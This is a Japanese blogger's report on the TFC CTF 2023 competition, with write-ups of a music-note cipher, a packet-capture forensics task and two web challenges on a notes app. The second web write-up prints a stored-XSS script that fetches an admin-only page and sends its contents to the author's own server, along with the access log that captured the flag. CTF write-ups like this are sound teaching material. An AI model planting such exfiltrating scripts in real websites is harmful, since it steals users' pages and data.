kdnakt blog

hello there.

TFC CTF 2023参加レポート&Writeups

7/28-7/30に開催されたTFC CTF 2023に参加した。

https://ctf.thefewchosen.com/

[結果]

ご祝儀問題1問+Easyばかり4問解いて250ポイント、359/1396位だった。ギリギリ上位25%に入れず。

相変わらずpwn系の問題は全然解けず。進歩がない...。

[crypto/alien music]

問題文と詳細な解答はこちらに掲載されている。

medium.com

DC# C#D# C#C C#C DC# C#D# E2 C#5 CA EC# CC DE CA EB EC# D#F EF# D6 D#4 CC EC EC CC# D#E CC E4

という問題文を「TFCCTF{l33t_t3xt_h3r3}」の形のフラグに変換せよとのこと。

最初のDC#がT(アスキーコードで0x54)、C#D#がF(アスキーコードで0x46)、C#CがC(アスキーコードで0x43)なので、ドレミ(英語だとCDE)の音階に合わせてC=3、C#=4、D=5、D#=6...となっていると想像できる。
E2は「{」でアスキーコードだと0x7bなので、通常の16進数でabcdefとなっている部分が数字の123456に置き換わるルールと思われる。

このルールに基づいて、C#5は0x4e(N)、CAは0x30(0)、EC#は0x74(t)と変換していくとフラグが得られる。

[forensic/list]

問題文と詳細な解答はこちらに掲載されている。

medium.com

パケットキャプチャのファイルが与えられてそこからフラグを探す問題。

RCEは便利だよね、という問題文からそれっぽいパケットを探すと、Base64エンコードされたHTTPリクエストが見つかる。

デコードすると

find /home/ctf -type f -name "T" 2>/dev/null

のようなコマンドが見える。次のリクエストでは-nameのパラメータが"F"になっており、これを全部繋げるとフラグが得られる。

[web/baby ducky notes]

ソースコードが与えられて、掲示板サイトからフラグを取得する問題。以下のようにデータベースの中にフラグがある。

    query(con, f''' 
    INSERT INTO posts (
        user_id,
        title,
        content,
        hidden
        ) VALUES (
            1, // adminユーザーのID
            'Here is a ducky flag!',
            '{os.environ.get("FLAG")}',
            0
    );
    ''')

注意して見るとhiddenフラグが0(false)になっており、ソースを見ると ユーザーごとのポストを取得する以下のようなエンドポイントがある。

@web.route('/posts/view/<user>', methods=['GET'])
@auth_required
def posts_view(username, user):
    try:
        posts = db_get_user_posts(user, username == user)
    except:
        raise Exception(username)

    return render_template('posts.html', posts=posts)

db_get_user_posts()の第2引数がhiddenフラグとなっており、ログインユーザーと書き込みユーザーが一致している場合にhiddenポストを表示できる。今回はフラグがhiddenポストではないので、/posts/view/adminエンドポイントにアクセスするとフラグが取得できた。

[web/baby ducky notes: revenge!]

上の問題の改良版。今度はデータベースに入っているフラグのポストのhiddenが1(true)になっている。

ポスト一覧を表示する部分が以下のように実装されており、contentの部分でXSSが利用できる。

            <div class="blog_post">
                <div class="container_copy">
                  <h1> {{post.get('title')}} </h1>
                  <h3> {{post.get('username')}} </h3>
                  <p> {{post.get('content') | safe}} </p>
                </div>
            </div>

また、ポスト一覧にはレポートボタンがあり、クリックするとadminユーザーでログインしたbotが以下のようにログインユーザーのポスト一覧を表示してくれる。

    client.get(f"http://localhost:1337/posts/view/{username}")
    time.sleep(30)

ソースコードをさらに確認すると、以下のようにadminユーザーだけが全ポストを閲覧できるエンドポイントがあった。

@web.route('/posts/', methods=['GET'])
@auth_required
def posts(username):
    if username != 'admin':
        return jsonify('You must be admin to see all posts!'), 401

    frontend_posts = []
    posts = db_get_all_users_posts()

    for post in posts:
        try:
            frontend_posts += [{'username': post['username'], 
                                'title': post['title'], 
                                'content': post['content']}]
        except:
            raise Exception(post)

    return render_template('posts.html', posts=frontend_posts)

なので、自分のポストに以下のようにXSSを仕込んだ。

<script>fetch('/posts').then(r=>r.text()).then(posts=>fetch('http://自サーバーURL/?html=' +posts))</script>

サーバのアクセスログを見ると以下のようなアクセスがあった。

34.78.196.165 - - [29/Jul/2023:17:30:12 +0000] "GET /?html=%3C!DOCTYPE%20html%3E(略)%20TFCCTF%7BEv3ry_duCk_kn0w5_xSs!%7D%(略) HTTP/1.1" 200 615 "http://localhost:1337/" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/115.0.5790.110 Safari/537.36" "-"

というわけで無事フラグゲット!
なお、この後さらに改良版のducky notes: part 3!にも取り組んだが、先ほどのXSSを使えなくなっていて歯が立たず。無念...。